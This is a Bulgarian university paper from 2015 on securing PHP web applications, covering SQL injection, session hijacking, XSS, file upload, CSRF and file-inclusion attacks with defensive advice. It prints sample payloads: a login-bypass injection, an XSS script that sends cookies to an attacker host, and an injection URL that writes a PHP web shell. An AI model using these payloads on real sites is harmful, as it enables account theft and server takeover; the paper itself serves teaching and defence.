Реферат на тема "Защита при създаването на PHP-приложения"

1. seИКОНОМИЧЕСКИ УНИВЕРСИТЕТ – ВАРНА
Център „Магистърско обучение”
БЕЗОПАСНОСТ И ЗАЩИТА
РЕФЕРАТ
Н А ТЕ М А
ЗАЩИТА ПРИ СЪЗДАВАНЕ НА
PHP-ПРИЛОЖЕНИЯ В ИНТЕРНЕТ
Изготвил: Проверил:
Николай Милков Милков доц д-р Стефан Дражев
СИН: 12888, 64 група ас. Радка Начева
Специалност “Информатика”
Варна 2015 г.

2. 2
СЪДЪРЖАНИЕ
I. Обща информация за езика за програмиране PHP...........................................................................................3
Основни предимства наPHP......................................................................................................................................................3
II. Сигурност на PHP-приложенията. Основни видове атаки..........................................................................4
1. SQL инжекция(SQL Injection)...........................................................................................................................................5
2. Открадване на сесия (session hijacking).....................................................................................................................6
3. Cross Site Scripting (XSS) атаки.........................................................................................................................................8
4. Arbitrary file upload атаки...................................................................................................................................................8
5. Cross Site Request Forgery (CSRF) атака...................................................................................................................10
6. Remote File Inclusion (RFI), Local File Inclusion (LFI), Remote Code Execution (RCE)........................11
III. Съвети за преодоляване на пробивите в сигурността на PHP приложенията......................11
IV. Извод..........................................................................................................................................................................................14
Източници.............................................................................................................................................................................................15

3. 3
I. ОБЩА ИНФОРМАЦИЯ ЗА ЕЗИКА ЗА ПРОГРАМИРАНЕ PHP
PHP (PHP: Hypertext Preprocessor) е най-популярния сървърен (server-side)
скриптов език. Базиран със синтаксиса на C и Perl, той се използва предимно за
реализиране на широк кръг от уеб-ориентирани услуги с отворен код, който може да се
вгражда с HTML код или да се използва в комбинация с различни средства за
моделиране на темплейти и web frameworks.
Макар и създаден през далечната 1995 година от датчанина Размус Лердорф,
понастоящем той може да се използва на почти всички по-известни операционни
системи като Линукс, почти всички Unix системи, Microsoft Windows, Mac OS X и други.
Има два варианта за добавяне на поддръжка на PHP към уеб сървър – като отделен
уеб сървър модул или като CGI приложение (CGI процесор). Също така PHP има
директен модулен интерфейс (Server Application Programming Interface или SAPI), който
се поддържа от по-голямата част от наличните в момента уеб сървъри, в това число
Apache HTTP Server, Microsoft IIS, NetScape, iPlanet и други.
Основни предимства на PHP
Популярност PHP добива още от факта, че е език за програмиране с отворен код
(open source), което позволява свободен достъп на всеки един потребител до пълните
му възможности и употреба. Разбира се, можем да изредим и други основни
предимства, сред които са:
 PHP дава възможност за динамичност на страниците: качество, което все повече се
изисква от интернет потребителите;
 PHP работи на множество операционни системи (Unix, Linux, Windows, BSD, Mac OS
X) и множество уеб сървъри - Apache, lighttpd, Microsoft IIS;
 PHP е лесен за разработване и лесен за научаване от хора, навлизащи в уеб
програмирането;
 PHP е напълно безплатен и се разпространява под лиценза на BSD;
 PHP е достатъчно гъвкав и може да бъде лесно модифициран и адаптиран към
нуждите на прилагащата го организация;
 Широко разпространен и предлаган от повечето хостинг компании;

4. 4
 PHP е създаден и пригоден за разработката на уеб приложения и може да се хоства
почти навсякъде;
 PHP не изисква особени умения от разработчици работили на структурни езици —
езикът е с прост и интуитивен синтаксис за такива разработчици;
 PHP е широко разпространен поради простотата си. Има много програмисти, което
води до по-евтино платен персонал във фирмите, по ниска цена на приложенията за
клиентите и още по-голяма използваемост. Поддръжката за PHP разработчици е
гарантирана от множеството форуми и приложения на общността;
 По аналогия с Perl към стандартните класове на PHP могат да бъдат писани и много
допълнителни модули;
 PHP поддрържа следните системи за управление на бази от данни: IBM DB2 -
formix — Ingres, Microsoft SQL Server (MS SQL), mSQL, MySQL, Oracle, PostgreSQL,
Sybase;
 PHP поддържа и ODBC;
 Преносим и платформно независим (cross platform);
 Съществува доста богата документация за него както и голям брой учебни
материали и възможност за помощ;
 Работи като отделен изолиран процес като по този начин осигурява сигурност от
срив в целия уеб сървър. При наличието на проблем при използването на PHP ще
има минимален ефект, тъй като състоянието му се възстановява с първоначалното
при всяка една заявка.
II. СИГУРНОСТ НА PHP-ПРИЛОЖЕНИЯТА. ОСНОВНИ ВИДОВЕ
АТАКИ
Успоредно с множеството положителни страни, PHP има и своя сериозен
недостатък, а именно – сигурността. Проблема с нея се задълбочава както поради
отворения му код, така и поради ред други причини на самия език като слабото му
типизиране, излишните и бъгави вградени функции за предотвратяване на атаки и
други. В по-долните редове ще разгледаме най-често срещаните пробиви в сигурността
на уеб приложенията, изградени с помощта на PHP, като ги подредим по степен на
разпространение.

5. 5
1. SQL инжекция (SQL Injection)
SQL инжекциите са най-често
срещаната атака срещу приложенията, писани
на езика PHP. Те представляват техника за
атакуване на приложения, използващи SQL
бази данни, чрез вмъкване на злонамерени
SQL команди в заявките, генерирани от
приложението. Сред основните възможности,
които позволяват SQL инжекциите са:
 Прочитане и промяна на данни в базата от данни;
 Изпълняване на администраторски операции на базата от данни;
 Използване на вградените функции в СУБД за други злонамерени цели
(като например load_file() в MySQL за прочитане на съдържанието на
файл, разположен на уеб сървъра).
На фиг. 1 е показан пример за най-често срещания тип SQL инжекции. Формата
за вход изисква потребителско ID и парола, които при въвеждането им се проверяват
за съответствие със съществуващите в базата от данни. Заявката е следната:
$query = „SELECT * FROM users WHERE UserID = ‘$_POST[“loginID”]’ AND Password =
‘$_POST[“pass”]’”;
където стойностите се взимат от суперглобалния масив $_POST на PHP, съдържащ
въведените стойности от потребителя в съответните полета при изпращане на заявка
за вход към сървъра. При въвеждане на несъответстващи данни (потребител и
парола), СУБД ще върне празен резултат и потребителя няма да получи достъп. Но при
въведено такова потребителско име, показано на фигура 1, в система, уязвима на SQL
инжекция, заявката за проверка към базата данни ще има вида:
$query = ‘SELECT * FROM users WHERE UserID = ‘test@test.com’ or 1=1-- AND Password = ‘’”;
което ще наруши логиката на “WHERE” клаузата и по този начин резултата винаги ще е
положителен (двете тирета “—“ индикират предварителен край на заявката, т.е. всичко
след тях няма да се разглежда от СУБД по време на изпълнение на заявката),
Фигура 1. Пример за SQL инжекция

6. 6
позволяващо на потребителя да се впише в системата без дори да знае
административното потребителско име и парола.
Първата стъпка при защита от SQL инжекции е валидацията на входните
данни.Сама по себе си тя представлява проверка дали входните данни, въвеждани от
потребителя, отговарят на очакваните данни от приложението. Пример за валидация е
проверка дали потребителското име съдържа само символи от A до Z и цифри от 0 до
9, ако само тези символи са заложени като валидни в приложението при въвеждане на
потребителско име.
Втората стъпка при защитата от SQL инжекции са така наречените готови
конструкции (prepared statements). Използването им предотвратява на 100 процента
възможността от атакуване с SQL инжекции, тъй като заявката се отделя от
конкретните параметри, въвеждани с нея, като предварително се подготвя по „шаблон”.
Съществуват и други начини, макар и не толкова ефективни, за предпазване,
сред които са:
 Изполване на вградените функции addslashes(),
mysqli_real_escape_string(), preg_match(), preg_replace(), и др. за
санитизиране на входните данни;
 Хеширане на данните;
 Използване на процедури като параметрите се подават отделно;
 Ограничаване на привилегиите за използване на БД за всеки акаунт.
2. Открадване на сесия (session hijacking)

7. 7
Също така наречени “man-in-
the-middle” атаки. При вписването в
даден сайт се създава т.нар.
„сесия” на потребителя под
формата на файл на уеб сървъра
или в базата данни и като
бисквитка с уникален
идентификатор в уеб браузъра на
потребителя.Открадването на
сесия е вид атака, при която
хакерът използва вече
създадената от потребителя сесия
за да се „представя” като него,
макар и без неговото знание. За
целта е нужно да се разбере
уникалния идентификатор на
потребителя, който се инжектира в
браузъра на хакера. Този
идентификатор може да бъде
получен по няколко начина:
 Чрез „подслушване” на трафика на клиента към сървъра. Най-често това
става възможно, ако хакерът и жертвата са в една и съща локална мрежа,
посредством готови софтуерни продукти като Wireshark, Cain, или чрез
вируси от тип „снифъри”;
 Чрез използване на Cross Site Scripting (XSS) уязвимост в уеб
приложението, за която ще споменем по-долу;
 В много редки случаи, чрез „предсказване” на сесийният идентификатор
при използване на поредни, вместо произволни низове.
За сега най-ефективния начин за преодоляване на този тип атака е
потребителите да използват HTTPS криптирания протокол за комуникация с уеб
сървъра (при наличието на такъв) за пренасяне на трафика през SSL.
Фигура 2. Концепция на session hijacking атаката

8. 8
3. Cross Site Scripting (XSS) атаки
Също доста честа и
добре позната атака.
Получава се при
„доверяване” на данните от
външни източници като за
осъществяването и се
изискват и познания по
JavaScript. Характерното на
този тип атака е, че не е
пряко свързана с PHP и
може да бъде реализирана на всеки един език за уеб програмиране. В основата и стои
JavaScript интерпретатора на потребителските уеб браузъри, благодарение на който те
изпращат своя сесиен идентификатор към “web sniffer1” без тяхното знание и съгласие.
Атаката се състои в това, че при въвеждане на данни от даден потребител, които
ще се извеждат под една или друга форма на екрана на всички посетители на сайта,
ако те не бъдат правилно санитизирани, той може да въведе HTML тагове с JavaScript
код, който да се изпълнява в браузъра на посетителя-жертва. Пример:
<script>document.location='http://sniffer.attacker.host/sniff.php?'+document.cookie</script>
което ще изпрати автоматично бисквитката на потребителя към злонамерения сайт на
хакера (т. 2).
За предпазване от тези атаки се препоръчва филтриране на входящите данни,
въведени от потребителя, посредством серия от вградени функции в PHP като
addslashes(), htmlspecialchars(), htmlentities(), preg_replace(), strip_tags(), trim() и други.
4. Arbitrary file upload атаки
1 Сървър или сайт, който запазва сесийните идентификатори на потребителите, изпратили заявка към него
посредством наличието на XSS уязвимост
Фигура 3. Осъществяване на XSS атака

9. 9
Доста често срещано
явление в уеб страниците е
позволяването на
потребителя за прикачване
на файлове на уеб сървъра
под една или друга форма
(аватари, картинки,
документи, видео,
презентации, архиви и др.).
Тук идва и проблема, ако
получените файлове не се
валидират и потребителя
реши да качи PHP файл.
Така той ще има възможноста да изпълни свой собствен PHP скрипт на уеб сървъра
като просто достъпи файла чрез директен URL след качването му. Понастоящем
съществуват голям набор от готови такива скриптове, позволяващи достъп на
атакуващия до почти всички ресурси на сървъра. Те се наричат още “backdoor shells”
като пример за такива програми са c99shell (Фиг. 4), r57shell. Създаването на такъв
зловреден файл може да бъде осъществено и посредством SQL инжекция при
добавянето на “INTO OUTFILE” statement към заявката. Пример:
http://target/file.php?id=5+UNION+SELECT+1,2,3,4,0x3c3f696e636c75646528245f4745545b22636d6
4225d293b3f3e,6,7,8+INTO+OUTFILE+'/var/www/site/shell.php'--
която заявка ще създаде файл с името “shell.php” в директорията “/var/www/site/” със
съдържанието <?include($_GET["cmd']);?> , което ще даде възможност за употреба на
друг вид атака (RFI), която ще разгледаме по-долу.
За предпазване от подобен тип атака добрата практика предвижда винаги да се
позволява качването само на файлове с определени разширения (.jpg, .jpeg, .bmp, .gif,
.png, .doc, .ppt и др.). За още по-голямо повишаване на сигурността е необходимо и
използването на ограничител за размера на файловете чрез конфигурационната
директива upload_max_filesize.
Фигура 4. c99Shell

10. 10
5. Cross Site Request Forgery (CSRF) атака
Cross-Site Request Forgery (CSRF) е широко използвана уязвимост на уеб
страниците. В тази атака атакуващият нарушава цялостта на потребителската сесия с
уеб страницата като инжектира заявка по мрежата посредством уеб browser-а на
потребителя. Политиката на сигурност на browser-ите позволява уеб адресите да
изпращат HTTP заявка до който и да е мрежови адрес.
За осъществяването на тази атака е необходимо сайта да предава данни чрез
метода GET или REQUEST. Пример:
<img src="http://example.com/transfer.php?quantity=200">
при посещение на потребителя в сайта, браузъра автоматично ще се опита да зареди
горепосочения <img> таг, мислейки, че това е изображение. Поради липсата на каквато
и да е проверка дали линка сочи към картинка или нещо друго, той ще изпрати GET
заявка към “example.com/transfer.php”, опитвайки се да прехвърли дадена сума
(например). Така
потребителя без да знае
се превръща в жертва.
Такъв тип атаки се
използват широко и
главно за публикуването
на съдържание на друга
страница, за записване
към newsfeed, за
комбиниране с XSS атаки
и други. Атака може да
се осъществи и чрез
други HTML тагове като например <script>, <iframe>, както и чрез AJAX заявка чрез
използване на обекта XMLHttpRequest.
За превенцията на този тип атака се налага програмиста да използва винаги
POST метода за предаване на данни, особено при важни операции като транзакции,
Фигура 5. Принцип на действие на CSRF

11. 11
регистрации, вход в системата. Също така налагането на този метод предпазва от
визуализиране на кондифенциални данни в URL бара на браузъра на потребителя.
6. Remote File Inclusion (RFI), Local File Inclusion (LFI), Remote Code Execution (RCE)
По същество тези са най-опасните видове атаки, но през последните години са
все по-рядко срещани.
LFI (Local File Inclusion) атаката представлява манупулиране на GET/POST
параметъра и по този начин да бъде включен вътрешен файл в изпълнението на сайта,
като бъде изведено неговото съдържание. Пример: имаме скрипт с име include.php и
параметър page=downloads.php хакерът може да включи някакъв друг файл в
изпълнението на сайта и да види неговото съдържание, например config.php и
съответно да види данните за MySQL съвръра или нещо друго.
RFI (Remote File Inclusion ) е по-лошия вариант на LFI, който позволява и
включването на външен файл (в т.ч. backdoor shell, намиращ се на друг сървър) и
изпълняването му на сървърната машина.
Особено опасно е наличието на RCE (remote code execution) дупка в
сигурността на уеб приложението. Тя ще позволи изпълнението на команда директно в
шела на операционната система с позволенията, които има PHP.
Предотвратяването на подобен тип атаки се осъществява изцяло в кода на
приложението като трябва да се избягва предаването на данни от суперглобални
масиви като $_GET, $_REQUEST и $_POST директно към include(), system() и
system_exec() функциите, без те да бъдат санитизирани предварително.
Разбира се, съществуват и още видове атаки от най-различно естество, които
обаче няма да бъдат обект на разглеждане и анализиране в този реферат.
III. СЪВЕТИ ЗА ПРЕОДОЛЯВАНЕ НА ПРОБИВИТЕ В СИГУРНОСТТА
НА PHP ПРИЛОЖЕНИЯТА
Изключително важно е взимането на мерки по сигурността още при самото
писане на приложението, а не след това. Това драстично би намалило времето за
локализиране и премахване на пробиви на по-късен етап, както и превенция от

12. 12
изникването на по-сериозен проблем, който в бизнес-ориентираните среди би могъл да
бъде фатален.
Сред основните неписани правила за осигуряване на надеждност на една уеб-
ориентирана система е винаги наличието на последна версия на PHP и съпътстващия
го софтуер (Apache, IIS, MySQL и т.н.).
Както вече неведнъж упоменахме, валидирането на входните данни е просто
задължително преди вписването им и изпращането им под формата на заявка към
базата данни. Валидацията подсигурява външния вход да е точно такъв, какъвто се
очаква. Най-удобно е валидирането на различните данни посредством вградената
функция в PHP – filter_var(). Към валидацията на данните трябва да се има в предвид и
филтрирането им от „опасни” символи. Един пример за филтриране е премахване на
интервалите от низ или премахване на всички невалидни знаци от имейл адрес.
Много е важно и по какъв начин се осъществява връзката с СУБД като просто
задължително е използването на различни потребителски имена за връзка от root и
admin, както и задаването на сложна парола. Препоръчително е, при хостването на
няколко сайта на една машина, за всеки отделен да има отделен потребител за достъп
до БД със само необходимите му за него права. Хеширането и криптирането на
„проверяваща” информация като потребителски пароли подсигурява максимална
сигурност за данните. Ако те не бъдат преобразени в нечетим формат,в случай на
хакване и сваляне на базата данни, хакера ще има достъп до потребителската
информация и до паролата му в „чист” вид2.
Задаването на права също е един от основните принципи за осигуряване на
сигурност на данните в едно уеб приложение. Потенциално най-опасният тип запазени
данни е изпълнимото съдържание (скриптовете). Затова правата на файловете в уеб
йерархията трябва да са установени по правилен начин. Всеки трябва да има права за
четене (за да може да се визуализира съдържанието на потребителя), но не е
препоръчително да имат достъп за презаписване или редакция. Пример за това е
конфигурационния файл за връзка с базата данни (ако тази функционалност е
отделена във външен файл) на който е нужно да бъдат зададени само четими права
след настройка на сайта. Същите правила важат и за директориите, намиращи се на
2 https://nakedsecurity.sophos.com/2013/04/23/users-same-password-most-websites/

13. 13
уеб сървъра. Всяка директория е необходимо да има достъп само за четене (освен
директориите, където се записват „лог” файлове, кеширащи файлове, които трябва да
имат и достъп за записване) като по този начин само собственика да има пълен достъп
до тях. Потребителите от своя страна трябва да нямат достъп до запис и редакция на
системни файлове и до директории, които не са предназначени за тази цел. Трябва да
се внимава и при задаването на права за какъв тип файлове има право потребителя да
качва като качването на изпълнителни (.php) файлове е почти задължително да бъде
забранен. Задаването на различни права на файловете и директориите, намиращи се
на уеб сървъра, се извършва посредством функцията CHMOD (за UNIX операционните
системи). CHMOD (Change Mode) представлява функция, чрез която се задават
определени права на избран файл или директория от даден уеб сайт. Тя е достъпна
само за уеб сървъри с UNIX операционни системи. Правата се задават в поредица от
три цифри, като всяка от тях се отнася за различни потребители на документа, според
мястото, което заема в редицата. Цифрите, с които се задават правата, могат да бъдат
от 0 до 7. Най-често се използват правата 777, 770, 750, 755, 644 и 666.
Друг вид защита на документите от неоторизиран достъп е използването на
функционалността на .htaccess файловете (разгледахме основната им функционалност
в Глава 1). Те позволяват задаването на права над това кой документ може да бъде
достъпен и кой не. .htpasswd файловете пък позволяват дадени документи да бъдат
достъпни единствено срещу задаване на коректно потребителско име и парола.
При наличието на PHP версия 5.3.0 или по-стара, трябва да се има в предвид и
настройката register_globals(). Когато се включи тази настройка в конфигурацията, това
прави няколко типа променливи (включващи такива от $_POST, $_GET и $_REQUEST)
достъпни директно в глобалната област на видимост на приложението ви. Това може
лесно да доведе до проблеми със сигурността, защото приложението не може
еднозначно да определи от къде идват данните. Например: Ако е дефинирана
$_GET['foo'], тя ще бъде достъпна за приложението чрез $foo, което може само по себе
си да презапише стойността на променлива която все още не е дефинирана.
Записването на грешките в лог файл може също да бъде полезен начин за
търсене на проблеми в PHP приложението, но също може да разкрие за външния свят
информация за неговата структура. За ефективна защита на приложението от

14. 14
проблеми свързани с извеждането на тези съобщения, разработчика трябва да
конфигурира сървъра различно в зависимост от средата на която се изпълнява
приложението - т.е. развойна среда и реална среда.
За да се показват грешките в развойна среда, се задават следните настройки в
php.ini:
display_errors: On
error_reporting: E_ALL
log_errors: On
За скриване на грешките в реална среда, настройките са следните:
display_errors: Off
error_reporting: E_ALL
log_errors: On
С тези настройки за реална среда, грешките ще бъдат запосвани в лог файла за
грешки на сървъра и няма да бъдат показвани на потребителите.
Също така добрите практики налагат периодично проверяване на access.log и
error.log на уеб сървъра.
IV. ИЗВОД
С нарастващата зависимост на бизнеса от информационните технологии и уеб
пространството и увеличаващото се потребление на уеб услуги нараства и интереса на
хакерите към компрометиране чрез злонамерени действия. Причините са много и
варират - от чисто удоволствие, през нужда за публично внимание и завършват с
бизнес - финансово благополучие чрез измама или атака на конкуренцията. Проблемът
съществува и се задълбочава. Появяват се нови и по- сложни уеб технологии, заедно с
които се развиват разнообразни и креативни начини за компрометиране. Именно точно
това е задачата на разработчиците – постоянно да надграждат техниките за защита на
приложенията, които разработват.

15. 15
ИЗТОЧНИЦИ
Литературни източници:
1. Гарабедян, Г.: Доклад по Програмни технологии за сигурен код, КСТ, ТУ-София.
2. Куюмджиев , И.: Лекции по „Сървърно програмиране“, Варна, 2014.
3. Cornutt, C.: Securing PHP: Core Concepts, 2010.
Интернет източници:
1. http://bg2.php.net/
2. http://bg.phptherightway.com/
3. http://kaldata.com/forums/topic/224887-уеб-атаки/
4. http://host.bg/bg/info/Kratka-istoriya-na-PHP
5. http://sixeightone.eu/защита-срещу-sql-инжекции/
6. http://www.hackforums.net/
7. http://www.pixelstech.net/topic/25-What-are-advantages-and-disadvantages-of-PHP
8. http://www.quora.com/What-are-some-of-the-advantages-of-PHP-over-other-
programming-languages